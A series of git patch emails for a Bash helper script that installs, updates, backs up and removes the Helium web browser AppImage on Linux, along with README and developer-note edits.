launcher...${CRS}" + echo -e "\n ${YEL}Adding $APP_NAME_LONG launcher...${CRS}" dependency_check local_check add_launcher exit_clean ;; a) - echo -e "\n ${CYN}Adding alias...${CRS}" + echo -e "\n ${YEL}Adding alias...${CRS}" + if [ "$2" ] ; then + ALIAS=$2 + fi shell_check add_alias exit ;; u) - echo -e "\n ${CYN}Updating $APP_NAME_LONG...${CRS}" + echo -e "\n ${YEL}Updating $APP_NAME_LONG...${CRS}" dependency_check + arch_check local_check update_helium exit_clean ;; - U) - echo -e "\n ${CYN}Enabling automatic updates...${CRS}" - dependency_check - local_check - auto_update - exit_clean ;; + b) + echo -e "\n ${YEL}Backing up $APP_NAME_LONG incl. configuration and script...${CRS}" + if [ "$2" ] ; then + BACKUP_PATH=$2 + fi + backup_helium + exit ;; r) - echo -e "\n ${CYN}Removing $APP_NAME_LONG...${CRS}" + echo -e "\n ${YEL}Removing $APP_NAME_LONG...${CRS}\n" remove_helium exit ;; c) - echo -e "\n ${CYN}Comparing remote to local version...${CRS}" + echo -e "\n ${YEL}Comparing remote to local version...${CRS}" dependency_check local_check compare_version @@ -593,7 +688,7 @@ while getopts ":i,:l,:a,:u,:U,:r,:c,:s,:S,:h" OPTION ; do exit ;; S) - echo -e "\n ${CYN}Updating script...${CRS}" + echo -e "\n ${YEL}Updating script...${CRS}" dependency_check update_script exit_clean ;; @@ -611,6 +706,7 @@ done ## DEPENDENCY CHECK dependency_check +arch_check ## CHECK FOR LOCAL INSTALL local_check From 3d4c84ef6c0e48239d89c7fa04e50462d310c23d Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Thu, 8 Jan 2026 23:43:56 +0100 Subject: [PATCH 081/106] Backup function added --- helium_launcher_update.sh | 131 +++++++++++++++++++++++++++++--------- 1 file changed, 102 insertions(+), 29 deletions(-) diff --git a/helium_launcher_update.sh b/helium_launcher_update.sh index 8123131..9e1e8b2 100755 --- a/helium_launcher_update.sh +++ b/helium_launcher_update.sh @@ -9,6 +9,7 @@ APP_NAME_LONG="Helium Web Browser" ARCH="x86_64" FILE_EXTENSION="AppImage" APP_SOURCE="GitHub" +NOTIFY_NAME="Helium Helper" SCRIPT_NAME="$APP_NAME Launcher Updater" PARENT_SCRIPT_FILE_NAME="helium_helper.sh" SCRIPT_FILE_NAME="helium_launcher_update.sh" @@ -65,7 +66,7 @@ dependency_check () { if [ -f "$TMP/missingDeps" ] ; then MISSING=$(cat $TMP/missingDeps) echo "$DATE | Failed to update - missing dependencies : $MISSING" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Update failed! See log for details" exit_clean fi @@ -73,24 +74,107 @@ dependency_check () { if ! [ -d "$INSTALL_PATH" ] ; then mkdir -p $INSTALL_PATH echo "$DATE | Failed to update - $APP_NAME installation path not present - But created for logging" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Update failed! See log for details" exit elif ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then echo "$DATE | Failed to update - Local $APP_NAME AppImage not found" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Update failed! See log for details" exit fi } +### BACKUP +backup_helium() { + if [[ -d "$INSTALL_PATH" || -d "$SCRIPT_PATH" || -d $APP_CONFIG_PATH ]] ; then + BACKUPABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") + + for BACKUP_ITEM in ${BACKUPABLE[@]} ; do + if [ -d "$BACKUP_ITEM" ] ; then + mkdir -p $TMP/backup + cp -r $BACKUP_ITEM $TMP/backup + + elif [ -f "$BACKUP_ITEM" ] ; then + mkdir -p $TMP/backup + cp $BACKUP_ITEM $TMP/backup + fi + done + + if [ -d "$TMP/backup" ] ; then + CWD=$(pwd) + cd $TMP/backup + chmod -x *.sh *.$FILE_EXTENSION > /dev/null 2>&1 + + if [ "$BACKUP_COMPRESSION_OVERRIDE" ] ; then + BACKUP_COMPRESSION=$BACKUP_COMPRESSION_OVERRIDE + + elif ! [ "$BACKUP_COMPRESSION_OVERRIDE" ] ; then + COMPRESSION_METHOD=("pbzip2" "gzip" "bzip2" "zip") + + until [ "$BACKUP_COMPRESSION" ] ; do + for COMPRESSION_TYPE in ${COMPRESSION_METHOD[@]} ; do + + if [ "$(command -v $COMPRESSION_TYPE) > /dev/null 2>&1" ] ; then + BACKUP_COMPRESSION=$COMPRESSION_TYPE + break + fi + done + done + fi + + if [ "$BACKUP_COMPRESSION" == "pbzip2" ] ; then + tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 + pbzip2 $APP_NAME.backup_$DATE.tar + mkdir -p $BACKUP_PATH + mv $APP_NAME.backup_$DATE.tar.bz2 $BACKUP_PATH + cd $TMP && rm -rf backup + + elif [ "$BACKUP_COMPRESSION" == "gzip" ] ; then + tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 + gzip $APP_NAME.backup_$DATE.tar + mkdir -p $BACKUP_PATH + mv $APP_NAME.backup_$DATE.tar.gz $BACKUP_PATH + cd $TMP && rm -rf backup + + elif [ "$BACKUP_COMPRESSION" == "bzip2" ] ; then + tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 + bzip2 $APP_NAME.backup_$DATE.tar + mkdir -p $BACKUP_PATH + mv $APP_NAME.backup_$DATE.tar.bz2 $BACKUP_PATH + cd $TMP && rm -rf backup + + elif [ "$BACKUP_COMPRESSION" == "zip" ] ; then + tar -cf $APP_NAME.backup_$DATE.tar * > /dev/null 2>&1 + zip -r $APP_NAME.backup_$DATE.tar.zip $APP_NAME.backup_$DATE.tar > /dev/null 2>&1 + mkdir -p $BACKUP_PATH + mv $APP_NAME.backup_$DATE.tar.zip $BACKUP_PATH + cd $TMP && rm -rf backup + + else + echo "$DATE | Backup - Backup (uncompressed) written to $BACKUP_PATH" >> $LOG + mkdir -p $BACKUP_PATH + mv $TMP/backup $BACKUP_PATH/$APP_NAME.backup_$DATE + cd $TMP && rm -rf backup + fi + + echo "$DATE | Backup - Backup (compressed $BACKUP_COMPRESSION archive) written to $BACKUP_PATH" >> $LOG + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Backup created" + cd $CWD + fi + + else + echo "$DATE | Failed to backup - Nothing worth backing up found" >> $LOG + fi +} + ### UPDATE SCRIPT update_script() { ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo "$DATE | Failed to update script - local file not found" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Script update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script update failed! See log for details" exit fi @@ -100,12 +184,12 @@ update_script() { ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then echo "$DATE | Failed to update script - Empty version tag --> local" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Script update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script update failed! See log for details" exit elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then echo "$DATE | Failed to update script - Empty version tag --> $APP_SOURCE" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Script update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script update failed! See log for details" exit fi @@ -115,7 +199,7 @@ update_script() { REMOTE_SCRIPT_VERSION_NUM=$(echo $REMOTE_SCRIPT_VERSION | tr -d .) if [ "$REMOTE_SCRIPT_VERSION" == "$SCRIPT_VERSION" ] ; then - notify-send --icon="$ICON" --app-name="Helium Helper" "Script is up-to-date" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script is up-to-date" elif [ "$REMOTE_SCRIPT_VERSION_NUM" -gt "$SCRIPT_VERSION_NUM" ] ; then mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old @@ -125,13 +209,13 @@ update_script() { chmod +x $TMP/$SCRIPT_FILE_NAME $TMP/$PARENT_SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $TMP/$PARENT_SCRIPT_FILE_NAME $SCRIPT_PATH echo "$DATE | Script updated to version $REMOTE_SCRIPT_VERSION" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Script updated to version $REMOTE_SCRIPT_VERSION" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script updated to version $REMOTE_SCRIPT_VERSION" else echo "$DATE | Failed to update - Malformed version tags" >> $LOG echo "$DATE | Remote Version: $REMOTE_SCRIPT_VERSION" >> $LOG echo "$DATE | Local Version: $SCRIPT_VERSION" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Script update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Script update failed! See log for details" fi } @@ -145,12 +229,12 @@ update_helium() { ### CHECK FOR EMPTY VERSION TAGS if [[ -z "$APP_SOURCE_VERSION" ]] ; then echo "$DATE | Failed to update - Empty version tag --> $APP_SOURCE" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Browser update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser update failed! See log for details" exit elif [[ -z "$LOCAL_VERSION" ]] ; then echo "$DATE | Failed to update - Empty version tag --> LOCAL" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Browser update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser update failed! See log for details" exit fi @@ -160,32 +244,21 @@ update_helium() { APP_SOURCE_VERSION_NUM=$(echo $APP_SOURCE_VERSION | tr -d .) if [ "$APP_SOURCE_VERSION" == "$LOCAL_VERSION" ] ; then - notify-send --icon="$ICON" --app-name="Helium Helper" "Browser is up-to-date" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser is up-to-date" elif [ "$APP_SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then - mkdir -p $TMP $BACKUP_PATH - wget -P $TMP $DOWNLOAD_URL -q --show-progress + mkdir -p $TMP + wget -P $TMP $DOWNLOAD_URL -q chmod +x $TMP/$APP_SOURCE_FILENAME - if [ -f "$BACKUP_PATH/$APP_NAME.old" ] ; then - rm $BACKUP_PATH/$APP_NAME.old - fi - if [ -d "$APP_CONFIG_PATH" ] ; then - if [ -f "$BACKUP_PATH/$APP_NAME.config_*.tar" ] ; then - rm $BACKUP_PATH/$APP_NAME.config_*.tar - fi - tar -cf $BACKUP_PATH/$APP_NAME.config_$(date).tar $APP_CONFIG_PATH > /dev/null 2>&1 - fi - mv $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION $BACKUP_PATH/$APP_NAME.$FILE_EXTENSION.old + backup_helium mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION - cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old - chmod -x $BACKUP_PATH/*.sh.old $BACKUP_PATH/$APP_NAME.old sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop echo "$DATE | $APP_NAME updated to version ${APP_SOURCE_VERSION}" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Browser updated to version $APP_SOURCE_VERSION" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser updated to version $APP_SOURCE_VERSION" else echo "$DATE | Failed to update - Version tags malformed" >> $LOG - notify-send --icon="$ICON" --app-name="Helium Helper" "Browser update failed! See log for details" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "Browser update failed! See log for details" exit fi @@ -204,7 +277,7 @@ show_log() { xdg-open $LOG else - notify-send --icon="$ICON" --app-name="Helium Helper" "No log created yet" + notify-send --icon="$ICON" --app-name="$NOTIFY_NAME" "No log created yet" fi } From 6c91e896bc8ae8f43a751703225f9778b130dc61 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Thu, 8 Jan 2026 23:44:14 +0100 Subject: [PATCH 082/106] update --- devdoc.md | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/devdoc.md b/devdoc.md index 87e8051..33eb1cb 100644 --- a/devdoc.md +++ b/devdoc.md @@ -32,9 +32,16 @@ - Alias support for fish added - Removal process refined and adapted to fish - Browser config backup +--- +- Arch detection working +- Clean Up +- Copy Paste mistake fixed +- Backup process rewritten + - Custom backup path reserved in `$2` + - Default if left blank +- Removal process adjusted ## Add/To Do -- Architecture detection - Roll back from backup - Config check - Update Readme From 90dd1ea68b20c5ac32b5da926429ad2c62243ffb Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 9 Jan 2026 00:10:56 +0100 Subject: [PATCH 083/106] Readme updated --- README.md | 60 ++++++++++++++++++++++++++++++++++++------------------- 1 file changed, 39 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index f6587f6..b39cc9b 100644 --- a/README.md +++ b/README.md @@ -17,9 +17,14 @@ Run script with install parameter _-i_ ```sh ./helium_helper.sh -i ``` -Add alias to `.shellrc` | _optional_ +OPTIONAL : Add alias to `.shellrc` | _working in zsh, bash & fish_ +- Default alias ```sh -./helium_helper.sh -a ### ONLY TESTED WITH zsh & bash +./helium_helper.sh -a +``` +- Custom alias +```sh +./helium_helper.sh -a ``` --- ### Updating @@ -30,27 +35,40 @@ Checking for the latest version and updating can simply be done for the browser **Terminal** Updating can also be done by running: +- Update Helium Browser ```sh -./helium_helper.sh -u ### UPDATE APP +./helium_helper.sh -u ``` +- Update Helium Helper ```sh -./helium_helper.sh -S ### UPDATE SCRIPT +./helium_helper.sh -S +``` + +### Backing up +Backing up pulls all important files, folders & configuration and compresses an archive. By default it will be stored in `$HOME/.apps/Helium/assets` +- Backup to default path +```sh +./helium_helper.sh -b +``` +- Backup to custom path +```sh +./helium_helper.sh -b ``` Since this script is interactive, it doesn't keep logs. ## Overview ### Helium_Helper.sh - Interactive installer, updater & configuration script -- Installs to `/home//.apps/Helium` | changeable in line 28 `INSTALL_PATH` +- Installs to `$HOME/.apps/Helium` | changeable in line 31 `INSTALL_PATH` - Assumes: - - Presence of `/home//.apps/Helium` when updating | changeable in line 28 `INSTALL_PATH` + - Presence of `$HOME/.apps/Helium` when updating | changeable in line 31 `INSTALL_PATH` - Executable named `Helium.AppImage` -- Keeps backups of - - `Helium.AppImage` --> `Helium.AppImage.old` - - `helium_helper.sh` --> `helium_helper.sh.old` - - `helium_launcher_update.sh` --> `helium_launcher_update.sh.old` - - `Helium.desktop` --> `Helium.desktop.old` - which will be overwritten at every update -- Adds desktop launcher to `/home//.local/share/applications` +- Keeps backup archives from + - `Helium.AppImage` + - `helium_helper.sh` + - `helium_launcher_update.sh` + - `Helium.desktop` + - `net.imput.helium` +- Adds desktop launcher to `$HOME/.local/share/applications` - Adds options to launcher which are run by `helium_launcher_updater.sh` - Update Helium - Update Script @@ -60,14 +78,14 @@ Since this script is interactive, it doesn't keep logs. ### Helium_Launcher_Update.sh - Update Helium from launcher - Assumes: - - Presence of `/home//.apps/Helium` when updating | changeable in line 19 `INSTALL_PATH` + - Presence of `$HOME/.apps/Helium` when updating | changeable in line 21 `INSTALL_PATH` - Executable named `Helium.AppImage` -- Loggs to `/home//.apps/Helium/assets/logs` -- Keeps backups of - - `Helium.AppImage` --> `Helium.AppImage.old` - - `helium_helper.sh` --> `helium_helper.sh.old` - - `helium_launcher_update.sh` --> `helium_launcher_update.sh.old` - - `Helium.desktop` --> `Helium.desktop.old` - which will be overwritten at every update +- Loggs to `$HOME/.apps/Helium/assets/logs` +- Keeps backup archives from + - `Helium.AppImage` + - `helium_helper.sh` + - `helium_launcher_update.sh` + - `Helium.desktop` + - `net.imput.helium` - Run `helium_launcher_update.sh -h` for help   \ No newline at end of file From 6eaf261db2ead95bb83f2565b95e6b4f40432fc8 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 9 Jan 2026 00:14:29 +0100 Subject: [PATCH 084/106] Readme updated --- README.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index b39cc9b..d48821b 100644 --- a/README.md +++ b/README.md @@ -4,10 +4,11 @@ This script was initially designed to just update my Helium browser but over tim With "little" tinkering it should be possible to apply this script to install, update & configure many kinds of releases from source, like Debian packages, AppImages, binaries, etc... ## Usage -Help +### Help ```sh ./helium_helper.sh -h ``` +--- ### First Install To initally install Helium browser via this script, download helium_helper.sh and make it executable: ```sh @@ -43,7 +44,7 @@ Updating can also be done by running: ```sh ./helium_helper.sh -S ``` - +--- ### Backing up Backing up pulls all important files, folders & configuration and compresses an archive. By default it will be stored in `$HOME/.apps/Helium/assets` - Backup to default path From c12ea4e331961db4328909cfa19c9271b9e8b2ab Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 9 Jan 2026 00:16:24 +0100 Subject: [PATCH 085/106] Readme updated --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d48821b..bc6cf7f 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ Run script with install parameter _-i_ ./helium_helper.sh -i ``` OPTIONAL : Add alias to `.shellrc` | _working in zsh, bash & fish_ -- Default alias +- Default alias = _update-helium_ ```sh ./helium_helper.sh -a ``` From 2cae941eea929fa0f9000c05b444f5cee2e97abd Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 9 Jan 2026 00:24:30 +0100 Subject: [PATCH 086/106] Typo fixed --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index d13b25f..53e739f 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -325,7 +325,7 @@ update_helium() { backup_helium() { if [[ -d "$INSTALL_PATH" || -d "$SCRIPT_PATH" || -d $APP_CONFIG_PATH ]] ; then BACKUPABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") - echo -e "\n - ${CRS}Collectig files for ${CYN}backup${CRS}...${CRS}" + echo -e "\n - ${CRS}Collecting files for ${CYN}backup${CRS}...${CRS}" for BACKUP_ITEM in ${BACKUPABLE[@]} ; do if [ -d "$BACKUP_ITEM" ] ; then From ebc4809ef3d3839ab23cb47cd009624eaf4f0da3 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Sat, 10 Jan 2026 12:06:50 +0100 Subject: [PATCH 087/106] Readme updated --- README.md | 27 ++++++++++++++------------- 1 file changed, 14 insertions(+), 13 deletions(-) diff --git a/README.md b/README.md index bc6cf7f..66e4c18 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # Helium Bowser installer & updater ## Purpose -This script was initially designed to just update my Helium browser but over time and interest it got more functional and universal. It includes functions to install, update, remove, add launcher, etc... and is distro independent. +This script was initially designed to just update my Helium browser but over time and interest it got more functional and universal. It includes functions to install, update, remove, add launcher, etc... It's supposed to run in user space and is (Linux) distro independent I suppose. With "little" tinkering it should be possible to apply this script to install, update & configure many kinds of releases from source, like Debian packages, AppImages, binaries, etc... ## Usage @@ -15,21 +15,20 @@ To initally install Helium browser via this script, download helium_helper.sh an wget https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/helium_helper.sh && chmod +x helium_helper.sh ``` Run script with install parameter _-i_ +- Default install directory = `$HOME/.apps/Helium` ```sh ./helium_helper.sh -i ``` -OPTIONAL : Add alias to `.shellrc` | _working in zsh, bash & fish_ -- Default alias = _update-helium_ + +**OPTIONAL** : Add alias to `.shellrc` | _working in zsh, bash & fish_ +- Default alias = `update-helium` ```sh ./helium_helper.sh -a ``` -- Custom alias -```sh -./helium_helper.sh -a -``` + --- ### Updating -**From launcher** (if added) +**From launcher** (if added during install or by running `./helium_helper.sh -l`) Checking for the latest version and updating can simply be done for the browser as well as the script by right clicking the app icon and choosing either update option, which will be run by `helium_launcher_update.sh`. This will backup all files that are being updated and write a log. @@ -46,8 +45,8 @@ Updating can also be done by running: ``` --- ### Backing up -Backing up pulls all important files, folders & configuration and compresses an archive. By default it will be stored in `$HOME/.apps/Helium/assets` -- Backup to default path +Backing up, by default, pulls all important files, folders & configuration and compresses an archive, which is stored in `$HOME/.apps/Helium/assets` +- Default backup ```sh ./helium_helper.sh -b ``` @@ -55,13 +54,15 @@ Backing up pulls all important files, folders & configuration and compresses an ```sh ./helium_helper.sh -b ``` -Since this script is interactive, it doesn't keep logs. +**NOTE:** The backup path specified won't be overridden within the script yet. Working on it... + +**Since this script is interactive, it doesn't keep logs.** ## Overview ### Helium_Helper.sh - Interactive installer, updater & configuration script -- Installs to `$HOME/.apps/Helium` | changeable in line 31 `INSTALL_PATH` +- Installs to `$HOME/.apps/Helium` | changeable in line 32 `INSTALL_PATH` - Assumes: - - Presence of `$HOME/.apps/Helium` when updating | changeable in line 31 `INSTALL_PATH` + - Presence of `$HOME/.apps/Helium` when updating | changeable in line 32 `INSTALL_PATH` - Executable named `Helium.AppImage` - Keeps backup archives from - `Helium.AppImage` From 1a253d6de5bde995faea26e01b160673930c0f0b Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Sat, 10 Jan 2026 12:07:17 +0100 Subject: [PATCH 088/106] Docu updated --- devdoc.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/devdoc.md b/devdoc.md index 33eb1cb..17b5150 100644 --- a/devdoc.md +++ b/devdoc.md @@ -37,13 +37,16 @@ - Clean Up - Copy Paste mistake fixed - Backup process rewritten - - Custom backup path reserved in `$2` + - Custom backup method to pass as argument + - Custom backup path to pass as argument - Default if left blank - Removal process adjusted +- $1 verifier added +- Readme updated + ## Add/To Do - Roll back from backup -- Config check - Update Readme - Make functional launcher optional From 88510e971a3274693e1161a9cfd90453af1534f2 Mon Sep 17 00:00:00 2001 From: Fr4nzD13trich Date: Sat, 10 Jan 2026 12:58:37 +0100 Subject: [PATCH 089/106] Backup process refined --- helium_helper.sh | 367 ++++++++++++++++++++++++-------------- helium_launcher_update.sh | 39 ++-- 2 files changed, 257 insertions(+), 149 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 53e739f..86f99d2 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -18,11 +18,12 @@ APP_NAME_LONG="Helium Web Browser" FILE_EXTENSION="AppImage" APP_SOURCE="GitHub" ARCH_OVERRIDE="" +BACKUP_METHOD="full" BACKUP_COMPRESSION_OVERRIDE="" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_launcher_update.sh" -SCRIPT_VERSION="0.5.8" +SCRIPT_VERSION="0.5.9" ALIAS="update-helium" DATE=$(date +"%d%m%y") @@ -47,10 +48,8 @@ APP_SOURCE_URL=https://api.github.com/repos/imputnet/helium-linux/releases/lates ### DEPENDENCIES cmd_query() { - #local PACKAGE=$1 - - if ! command -v $PACKAGE > /dev/null 2>&1 ; then - echo " - $PACKAGE" >> $TMP/missingDeps + if ! command -v $PACKAGE > /dev/null 2>&1 ; then + echo " - $PACKAGE" >> $TMP/missingDeps fi } @@ -65,15 +64,13 @@ dependency_check () { if [ -f "$TMP/missingDeps" ] ; then MISSING=$(cat $TMP/missingDeps) - echo -e "\n ${RED}Following dependencies are missing :\n\n${CRS}$MISSING\n\n ${CYN}Please install and re-run script !${CRS}" + echo -e " ${RED}Following dependencies are missing :\n\n${CRS}$MISSING\n\n ${CYN}Please install and re-run script !${CRS}\n" exit_clean fi } ### SHELL CHECK shell_query() { - #local SHELL_OPTION=$1 - if [ "$(echo $SHELL | grep "$SHELL_OPTION")" ] ; then ACTIVE_SHELL=$SHELL_OPTION fi @@ -89,7 +86,6 @@ shell_check() { } ### ARCH CHECK - arch_check() { if [ "$ARCH_OVERRIDE" ] ; then ARCH=$ARCH_OVERRIDE @@ -109,21 +105,21 @@ arch_check() { local_check() { if ! [ -d "$INSTALL_PATH" ] ; then echo -e "\n ${YEL}$APP_NAME_LONG directory not found!${CRS}\n" - install_helium + install_application exit elif ! [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then echo -e "\n ${YEL}$APP_NAME_LONG directory found but no executable named ${CYN}$APP_NAME.$FILE_EXTENSION${YEL}!${CRS}\n" - install_helium + install_application exit fi } ### INSTALL -install_helium() { +install_application() { if [ -f "$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" ] ; then - echo -e "\n ${YEL}$APP_NAME_LONG AppImage found! Trying to update...${CRS}" - update_helium + echo -e " ${YEL}$APP_NAME_LONG AppImage found! Trying to update...${CRS}" + update_application exit fi @@ -149,7 +145,6 @@ install_helium() { else echo -e "\n ${YEL}Invalid response!${CRS}\n" fi - done } @@ -197,12 +192,11 @@ add_launcher() { else echo -e " ${YEL}Invalid response!${CRS}\n" fi - done else echo -e "\n ${RED}$APP_NAME_LONG AppImage not found! Can't add launcher...${CRS}" - install_helium + install_application exit fi } @@ -260,7 +254,7 @@ add_alias() { } ### UPDATE -update_helium() { +update_application() { LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}') APP_SOURCE_VERSION=$(curl -s $APP_SOURCE_URL | grep "tag_name" | tr -d \", | awk '{print $2}') @@ -283,8 +277,7 @@ update_helium() { elif [ "$APP_SOURCE_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then echo -e "\n ${LCY}$APP_NAME_LONG is updatable!${CRS}\n" - echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" + app_version_info while true ; do read -p " Download and update $APP_NAME_LONG from $APP_SOURCE? (Y/n) : " CONFIRM @@ -295,7 +288,7 @@ update_helium() { mkdir -p $TMP echo -e "\n - Downloading ${CYN}$APP_SOURCE_FILENAME${CRS}..." wget -P $TMP $DOWNLOAD_URL -q - backup_helium + full_backup chmod +x $TMP/$APP_SOURCE_FILENAME mv $TMP/$APP_SOURCE_FILENAME $INSTALL_PATH/$APP_NAME.$FILE_EXTENSION sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.$FILE_EXTENSION --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop @@ -313,109 +306,182 @@ update_helium() { else echo -e "\n ${RED}Version tags malformed or you are using a Beta version!${CRS}\n" - echo -e " ${CYN}Local Version :\t${CRS}${LOCAL_VERSION}" - echo -e " ${CYN}$APP_SOURCE Version :\t${CRS}${APP_SOURCE_VERSION}\n" + app_version_info echo -e " ${RED}Update failed... Exiting...${CRS}\n" exit fi - } ### BACKUP -backup_helium() { - if [[ -d "$INSTALL_PATH" || -d "$SCRIPT_PATH" || -d $APP_CONFIG_PATH ]] ; then - BACKUPABLE=("$INSTALL_PATH/$APP_NAME.$FILE_EXTENSION" "$SCRIPT_PATH/$SCRIPT_FILE_NAME" "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" "$LAUNCHER_PATH/$APP_NAME.desktop" "$APP_CONFIG_PATH") - echo -e "\n - ${CRS}Collecting files for ${CYN}backup${CRS}...${CRS}" +call_backup() { + if [ -f $BACKUP_PATH\/$APP_NAME\.$BACKUP_METHOD\.backup_* ] ; then + echo -e "\n ${CYN}A $BACKUP_METHOD backup already exists!${CRS}\n" - for BACKUP_ITEM in ${BACKUPABLE[@]} ; do - if [ -d "$BACKUP_ITEM" ] ; then - mkdir -p $TMP/backup - cp -r $BACKUP_ITEM $TMP/backup + while true ; do + read -p " Overwrite backup? (y/N) : " OVERWRITE_BACKUP - elif [ -f "$BACKUP_ITEM" ] ; then - mkdir -p $TMP/backup - cp $BACKUP_ITEM $TMP/backup + if [[ "$OVERWRITE_BACKUP" == "" || "$OVERWRITE_BACKUP" == "n" || "$OVERWRITE_BACKUP" == "N" ]] ; then + echo -e "\n ${YEL}Skipping backup process...${CRS}\n" + break + + elif [[ "$OVERWRITE_BACKUP" == "y" || "$OVERWRITE_BACKUP" == "Y" ]] ; then + echo -e "\n ${YEL}Overwriting backup...${CRS}" + rm $BACKUP_PATH/$APP_NAME.$BACKUP_METHOD.backup_* + ${BACKUP_METHOD}_backup + break + + else + echo -e "\n ${YEL}Invalid response!${CRS}\n" fi done - if [ -d "$TMP/backup" ] ; then - CWD=$(pwd) - cd $TMP/backup - chmod -x *.sh *.$FILE_EXTENSION > /dev/null 2>&1 + else + ${BACKUP_METHOD}_backup + fi +} - if [ "$BACKUP_COMPRESSION_OVERRIDE" ] ; then - BACKUP_COMPRESSION=$BACKUP_COMPRESSION_OVERRIDE +backup_file_collector() { + for BACKUP_ITEM in ${BACKUPABLE[@]} ; do - elif ! [ "$BACKUP_COMPRESSION_OVERRIDE" ] ; then - COMPRESSION_METHOD=("pbzip2" "gzip" "bzip2" "zip") + if [ -d "$BACKUP_ITEM" ] ; then + mkdir -p $TMP/backup + cp -r 